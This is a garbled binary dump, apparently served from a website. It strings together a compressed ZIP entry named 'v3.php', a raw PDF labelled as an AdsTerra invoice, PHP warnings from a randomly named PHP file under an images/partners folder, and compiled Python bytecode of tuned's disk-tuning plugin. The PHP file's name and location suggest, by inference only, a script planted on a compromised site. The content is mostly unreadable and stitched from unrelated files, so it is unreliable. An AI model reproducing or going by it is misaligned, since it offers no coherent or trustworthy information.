PK���ȼRY��������€��� �v3.phpUT �øŽg‰gñ“gux �õ��õ��½T]kÛ0}߯pEhìâÙM7X‰çv%”v0֐µ{)Aå:6S$!ÉMJèߕ?R÷!>lO¶tÏ=ç~êë¥*”—W‚ÙR OÃhþÀXl5ØJ ÿñ¾¹K^•æi‡#ëLÇÏ_ ÒËõçX²èY[:ŽÇFY[  ÿD. çI™û…Mi¬ñ;ª¡AO+$£–x™ƒ Øîü¿±ŒsZÐÔQô ]+ÊíüÓ:‚ãã½ú¶%åºb¨{¦¤Ó1@V¤ûBëSúA²Ö§ ‘0|5Ì­Ä[«+èUsƒ ôˆh2àr‡z_¥(Ùv§ÈĂï§EÖý‰ÆypBS¯·8Y­è,eRX¨Ö¡’œqéF²;¿¼?Ø?Lš6` dšikR•¡™âÑo†e«ƒi´áŽáqXHc‡óðü4€ÖBÖÌ%ütÚ$š+T”•MÉÍõ½G¢ž¯Êl1œGÄ»½¿ŸÆ£h¤I6JÉ-òŽß©ˆôP)Ô9½‰+‘Κ¯uiÁi‡ˆ‰i0J ép˜¬‹’ƒ”ƒlÂÃø:s”æØ�S{ŽÎαÐ]å÷:y°Q¿>©å{x<ŽæïíNCþÑ.Mf?¨«2ý}=ûõýî'=£§ÿu•Ü(—¾IIa­"éþ@¶�¿ä9?^-qìÇÞôvŠeÈc ðlacã®xèÄ'®âd¶ çˆSEæódP/ÍÆv{Ô)Ó ?>…V¼—óÞÇlŸÒMó¤®ðdM·ÀyƱϝÚÛTÒ´6[xʸO./p~["M[`…ôÈõìn6‹Hòâ]^|ø PKýBvây��€��PK���ȼRY��������°���� �__MACOSX/._v3.phpUT �øŽg‰gþ“gux �õ��õ��c`cg`b`ðMLVðVˆP€'qƒøˆŽ!!AP&HÇ %PDF-1.7 1 0 obj << /Type /Catalog /Outlines 2 0 R /Pages 3 0 R >> endobj 2 0 obj << /Type /Outlines /Count 0 >> endobj 3 0 obj << /Type /Pages /Kids [6 0 R ] /Count 1 /Resources << /ProcSet 4 0 R /Font << /F1 8 0 R /F2 9 0 R >> >> /MediaBox [0.000 0.000 595.280 841.890] >> endobj 4 0 obj [/PDF /Text ] endobj 5 0 obj << /Producer (���d�o�m�p�d�f� �2�.�0�.�8� �+� �C�P�D�F) /CreationDate (D:20241129143806+00'00') /ModDate (D:20241129143806+00'00') /Title (���A�d�s�T�e�r�r�a�.�c�o�m� �i�n�v�o�i�c�e) >> endobj 6 0 obj << /Type /Page /MediaBox [0.000 0.000 595.280 841.890] /Parent 3 0 R /Contents 7 0 R >> endobj 7 0 obj << /Filter /FlateDecode /Length 904 >> stream x���]o�J���+F�ͩ����su\ �08=ʩzရ���lS��lc� "Ց� ���wޙ�%�R�DS��� �OI�a`� �Q�f��5����_���םO�`�7�_FA���D�Џ.j�a=�j����>��n���R+�P��l�rH�{0��w��0��=W�2D ����G���I�>�_B3ed�H�yJ�G>/��ywy�fk��%�$�2.��d_�h����&)b0��"[\B��*_.��Y� ��<�2���fC�YQ&y�i�tQ�"xj����+���l�����'�i"�,�ҔH�AK��9��C���&Oa�Q � jɭ��� �p _���E�ie9�ƃ%H&��,`rDxS�ޔ!�(�X!v ��]{ݛx�e�`�p�&��'�q�9 F�i���W1in��F�O�����Zs��[gQT�؉����}��q^upLɪ:B"��؝�����*Tiu(S�r]��s�.��s9n�N!K!L�M�?�*[��N�8��c��ۯ�b�� ��� �YZ���SR3�n�����lPN��P�;��^�]�!'�z-���ӊ���/��껣��4�l(M�E�QL��X ��~���G��M|�����*��~�;/=N4�-|y�`�i�\�e�T�<���L��G}�"В�J^���q��"X�?(V�ߣXۆ{��H[����P�� �c���kc�Z�9v�����? �a��R�h|��^�k�D4W���?Iӊ�]<��4�)$wdat���~�����������|�L��x�p|N�*��E� �/4�Qpi�x.>��d����,M�y|4^�Ż��8S/޾���uQe���D�y� ��ͧH�����j�wX � �&z� endstream endobj 8 0 obj << /Type /Font /Subtype /Type1 /Name /F1 /BaseFont /Helvetica /Encoding /WinAnsiEncoding >> endobj 9 0 obj << /Type /Font /Subtype /Type1 /Name /F2 /BaseFont /Helvetica-Bold /Encoding /WinAnsiEncoding >> endobj xref 0 10 0000000000 65535 f 0000000009 00000 n 0000000074 00000 n 0000000120 00000 n 0000000284 00000 n 0000000313 00000 n 0000000514 00000 n 0000000617 00000 n 0000001593 00000 n 0000001700 00000 n trailer << /Size 10 /Root 1 0 R /Info 5 0 R /ID[] >> startxref 1812 %%EOF
Warning: Cannot modify header information - headers already sent by (output started at /home/u697396820/domains/smartriegroup.com/public_html/assets/images/partners/logo_69cec45839613.php:1) in /home/u697396820/domains/smartriegroup.com/public_html/assets/images/partners/logo_69cec45839613.php on line 128

Warning: Cannot modify header information - headers already sent by (output started at /home/u697396820/domains/smartriegroup.com/public_html/assets/images/partners/logo_69cec45839613.php:1) in /home/u697396820/domains/smartriegroup.com/public_html/assets/images/partners/logo_69cec45839613.php on line 129

Warning: Cannot modify header information - headers already sent by (output started at /home/u697396820/domains/smartriegroup.com/public_html/assets/images/partners/logo_69cec45839613.php:1) in /home/u697396820/domains/smartriegroup.com/public_html/assets/images/partners/logo_69cec45839613.php on line 130

Warning: Cannot modify header information - headers already sent by (output started at /home/u697396820/domains/smartriegroup.com/public_html/assets/images/partners/logo_69cec45839613.php:1) in /home/u697396820/domains/smartriegroup.com/public_html/assets/images/partners/logo_69cec45839613.php on line 131
a hC@slddlZddlmZddlTddlZddlmZddlm Z ddl Z ddl Z ej ZGdddejZdS)N)hotplug)*)commandscseZdZdZfddZfddZddZdd Zed d Z d d Z ddZ fddZ fddZ fddZeddZeddZddZddZfddZd d!Zd"d#Zd$d%Zd&d'Zd(d)Zd*d+Zd,d-Zfd.d/Zd0d1Zd\d3d4Zd5d6Zed7d8d9d:d;Z e!d7d]d=d>Z"ed?d8d9d@dAZ#e!d?d^dBdCZ$edDd8d9dEdFZ%e!dDd_dGdHZ&dIdJZ'dKdLZ(edMd8d9dNdOZ)e!dMd`dPdQZ*e+dRd8d9dSdTZ,dUdVZ-edWd8d9dXdYZ.e!dWdadZd[Z/Z0S)b DiskPlugina. Plug-in for tuning various block device options. This plug-in can also dynamically change the advanced power management and spindown timeout setting for a drive according to the current drive utilization. The dynamic tuning is controlled by the [option]`dynamic` and the global [option]`dynamic_tuning` option in `tuned-main.conf`. The disk plug-in operates on all supported block devices unless a comma separated list of [option]`devices` is passed to it. .Operate only on the `sda` block device ==== ---- [disk] devices=sda ---- ==== The [option]`elevator` option sets the Linux I/O scheduler. .Use the bfq I/O scheduler on the `xvda` block device ==== ---- [disk] device=xvda elevator=bfq ---- ==== The [option]`scheduler_quantum` option only applies to the CFQ I/O scheduler. It defines the number of I/O requests that CFQ sends to one device at one time, essentially limiting queue depth. The default value is 8 requests. The device being used may support greater queue depth, but increasing the value of quantum will also increase latency, especially for large sequential write work loads. The [option]`apm` option sets the Advanced Power Management feature on drives that support it. It corresponds to using the `-B` option of the `hdparm` utility. The [option]`spindown` option puts the drive into idle (low-power) mode, and also sets the standby (spindown) timeout for the drive. It corresponds to using `-S` option of the `hdparm` utility. .Use a medium-agressive power management with spindown ==== ---- [disk] apm=128 spindown=6 ---- ==== The [option]`readahead` option controls how much extra data the operating system reads from disk when performing sequential I/O operations. Increasing the `readahead` value might improve performance in application environments where sequential reading of large files takes place. The default unit for readahead is KiB. This can be adjusted to sectors by specifying the suffix 's'. If the suffix is specified, there must be at least one space between the number and suffix (for example, `readahead=8192 s`). .Set the `readahead` to 4MB unless already set to a higher value ==== ---- [disk] readahead=>4096 ---- ==== The disk readahead value can be multiplied by the constant specified by the [option]`readahead_multiply` option. csNtt|j|i|gd|_gd|_t|j|_d|_d|_t |_ dS)N) }iUF7) rnZr<g{Gz?) superr__init__ _power_levels_spindown_levelslen_levels _level_steps_load_smallestr_cmd)selfargskwargs __class__=/usr/lib/python3.9/site-packages/tuned/plugins/plugin_disk.pyrUs   zDiskPlugin.__init__cs`tt|d|_d|_t|_t|_|j dD]}| |r6|j |j q6t|_dS)NTblock)rr _init_devicesZ_devices_supported _use_hdparmsetZ _free_devicesdict_hdparm_apm_device_support_hardware_inventoryZ get_devices_device_is_supportedaddZsys_nameZ_assigned_devicesr'devicer*r,r-r/_s zDiskPlugin._init_devicescsfdd|DS)Ncsg|]}jd|qS)r.)r4Z get_device).0xr'r,r- kz2DiskPlugin._get_device_objects..r,)r'Zdevicesr,r;r-_get_device_objectsjszDiskPlugin._get_device_objectscCs|js dS||jvr|j|S|jjddd|gtjgdd\}}}|tj krdtdd|_dS|rtd|t d ||fd|j|<dSd |vrtd |d|j|<dSd|j|<dS) NFhdparm-C/dev/%sT) no_errorsZ return_errz4hdparm command not found, ignoring for other devicesz#Device '%s' not supported by hdparmz(rc: %s, msg: '%s')unknownz3Driver for device '%s' does not support apm command) r0r3r&executeerrnoENOENTlogwarninginfodebug)r'r8rcouterr_msgr,r,r-_is_hdparm_apm_supportedms,        z#DiskPlugin._is_hdparm_apm_supportedcCs2|jdko0|jdddko0|jdup0|jjdvS)NdiskZ removable0)ZscsiZvirtioZxenZnvmeZmmc)Z device_typeZ attributesgetparentZ subsystem)clsr8r,r,r-r5s    zDiskPlugin._device_is_supportedcCs|j|d|jdS)Nr.)r4Z subscribe_hardware_events_callbackr;r,r,r-_hardware_events_initsz DiskPlugin._hardware_events_initcCs|j|dSN)r4Z unsubscriber;r,r,r-_hardware_events_cleanupsz#DiskPlugin._hardware_events_cleanupcs(||s|dkr$tt|||dS)Nremove)r5rrrT)r'Zeventr8r*r,r-rTsz$DiskPlugin._hardware_events_callbackcs,|jdur|j|tt|||dSrV) _load_monitorZ add_devicerr_added_device_apply_tuningr'instance device_namer*r,r-rZs  z%DiskPlugin._added_device_apply_tuningcs,|jdur|j|tt|||dSrV)rYZ remove_devicerr_removed_device_unapply_tuningr[r*r,r-r^s  z)DiskPlugin._removed_device_unapply_tuningcCsddddddddS)NT)dynamicelevatorapmspindown readaheadreadahead_multiplyscheduler_quantumr,rSr,r,r-_get_config_optionsszDiskPlugin._get_config_optionscCsddgS)Nrarbr,rfr,r,r-#_get_config_options_used_by_dynamicsz.DiskPlugin._get_config_options_used_by_dynamiccCs.d|_d|_d|_d|_||jd|_dS)NTrr_)Z_has_static_tuning _apm_errcnt_spindown_errcntrYZ _option_booloptionsZ_has_dynamic_tuningr'r\r,r,r-_instance_inits zDiskPlugin._instance_initcCs"|jdur|j|jd|_dSrV)rY_monitors_repositorydeleterlr,r,r-_instance_cleanups zDiskPlugin._instance_cleanupcs>tt||i|_i|_i|_i|_|jd|j |_ dS)NrO) rr_instance_init_dynamicZ _device_idle_stats_idle_spindown_change_delayedrnZcreateZassigned_devicesrYrlr*r,r-rqsz!DiskPlugin._instance_init_dynamiccCs|rd}|j}n d}|j}|tjkr(dS|dkr6d}nL|tj krbtjd|_|_tddS|d7}|tjkrtd||r||_n||_dS)NrbrarrzIhdparm command not found, ignoring future set_apm / set_spindown commandsz5disabling set_%s command: too many consecutive errors) rjriconstsERROR_THRESHOLDrErFrGrHrI)r'rKrbsZcntr,r,r-_update_errcnts&    zDiskPlugin._update_errcntcCsNtd||jjdd|d|gtjgd\}}||dd|j|<dS)Nzchanging spindown to %dr?z-S%drArBTF)rGrJr&rDrErFrxrt)r'r\r8new_spindown_levelrKrLr,r,r-_change_spindowns& zDiskPlugin._change_spindowncCs2|jjddd|gtjgd\}}d|vo0d|vS)Nr?r@rAryZstandbyZsleeping)r&rDrErF)r'r8rKrLr,r,r-_drive_spinnings"zDiskPlugin._drive_spinningc Cs&||sdS|j|}|dur&dS||jvr<|||||||||||j|}|j|}|dd|jkr|d|j kr|d|j krd}n.|ddkr|ddks|ddkrd}nd}|dkr|d|7<|j |d}|j |d}t d|d|jtjkr`||sR|dkrRt d|d |j|<n|||||jtjkrt d ||jjd d |d |gtjgd\} } || dn4|j|r||r|j |d}||||t d||d|dft d||d|d|dfdS)Nlevelrreadwriterztuning level changed to %dz;delaying spindown change to %d, drive has already spun downTzchanging APM_level to %dr?z-B%drAryFz %s load: read %0.2f, write %0.2fz$%s idle: read %d, write %d, level %d)rNrYZget_device_loadrr_init_stats_and_idle _update_stats _update_idlersr#r$r r!rGrJrjrurvr|rtr{rir&rDrErFrx) r'r\r8loadZstatsZidleZ level_changeZnew_power_levelrzrKrLr,r,r-_instance_update_dynamicsF       .$  &z#DiskPlugin._instance_update_dynamiccCsDddgddgddgd|j|<dddd|j|<d|j|<dS)N rr)newoldmax)r}r~rF)rrrsrtr'r\r8r,r,r-rs$zDiskPlugin._init_stats_and_idlecCs|j|d|j|d<}||j|d<ddt||D}||j|d<|j|d}ddt||D}||j|d<t|dt|d|j|d <t|d t|d |j|d <dS) NrrcSsg|]}|d|dqS)rrr,)r9Znew_oldr,r,r-r<(r=z,DiskPlugin._update_stats..diffrcSsg|] }t|qSr,)r)r9Zpairr,r,r-r<-r=rr~r)rrzipfloat)r'r\r8Znew_loadZold_loadrZ old_max_loadZmax_loadr,r,r-r#s"zDiskPlugin._update_statscCsHdD]>}|j|||jkr4|j||d7<qd|j||<qdS)N)r~rrr)rrr%rs)r'r\r8Z operationr,r,r-r4szDiskPlugin._update_idlecs0||std|ntt|||dS)Nztd |tj }|rzt | d }Wnt yd}Yn0|rt d ||S) NrFr?rrryrTz .*=\s*(\d+).*rz2could not get current APM settings for device '%s')rNrGrIr&rDrErFrematchSintgroup ValueErrorerror) r'r8r\rrerrrKrLmr,r,r-_get_apmqs( "   zDiskPlugin._get_apmrbcCs|||s(|s td|dSt|S|jtjkrt|sl|jjddt|d|gt j gd\}}| |dt|SdSdS)N0spindown option is not supported for device '%s'r?z-SrryT) rNrGrIrrjrurvr&rDrErFrxrr,r,r- _set_spindowns  ( zDiskPlugin._set_spindowncCs$||s |std|dSdS)Nr)rNrGrI)r'r8r\rr,r,r- _get_spindowns  zDiskPlugin._get_spindowncCs ||dS)Nzqueue/read_ahead_kbrr7r,r,r-_readahead_fileszDiskPlugin._readahead_filecCs^t|dd}zt|d}Wnty4YdS0t|dkrZ|dddkrZ|d}|S)Nrrrw)rsplitrrr")r'rvalvr,r,r- _parse_ras zDiskPlugin._parse_rarccCsZ||}||}|dur0td||fn&|sV|jj|d||rNtjgndd|S)Nz,Invalid readahead value '%s' for device '%s'%dFr)rrrGrr&rrErF)r'rr8r\rrXrrr,r,r-_set_readaheads  zDiskPlugin._set_readaheadcCs6||}|jj||d}t|dkr.dSt|S)Nrr)rr&rstripr"rr'r8r\rrrr,r,r-_get_readaheads   zDiskPlugin._get_readaheadrdc Cs|rdS|jd|d}|rd|||}|dur2dStt||} |j|||| ||ddn6|j|}|dur|dS||||dd|j|dS)Nrd)Z command_namer]F) Z _storage_keyrrrZ_storager1rrQZunset) r'ZenablingZ multiplierr8Zverifyrr\Z storage_keyZ old_readaheadZ new_readaheadr,r,r-_multiply_readaheads$  zDiskPlugin._multiply_readaheadcCs ||dS)Nzqueue/iosched/quantumrr7r,r,r-_scheduler_quantum_filesz"DiskPlugin._scheduler_quantum_filerecCs8||}|s4|jj|dt||r,tjgndd|S)NrFr)rr&rrrErFrr,r,r-_set_scheduler_quantums  z!DiskPlugin._set_scheduler_quantumcCsH||}|jj||d}t|dkr@|sdisk_scheduler_quantum option is not supported for device '%s')rr&rrr"rGrIrrr,r,r-_get_scheduler_quantums  z!DiskPlugin._get_scheduler_quantum)r)F)F)F)F)F)1__name__ __module__ __qualname____doc__rr/r>rN classmethodr5rUrWrTrZr^rgrhrmrprqrxr{r|rrrrrrrrZ command_setrZ command_getrrrrrrrrrZcommand_customrrrr __classcell__r,r,r*r-r snH         2                  r)rErZ decoratorsZ tuned.logsZtunedZ tuned.constsruZtuned.utils.commandsrrrZlogsrQrGZPluginrr,r,r,r-s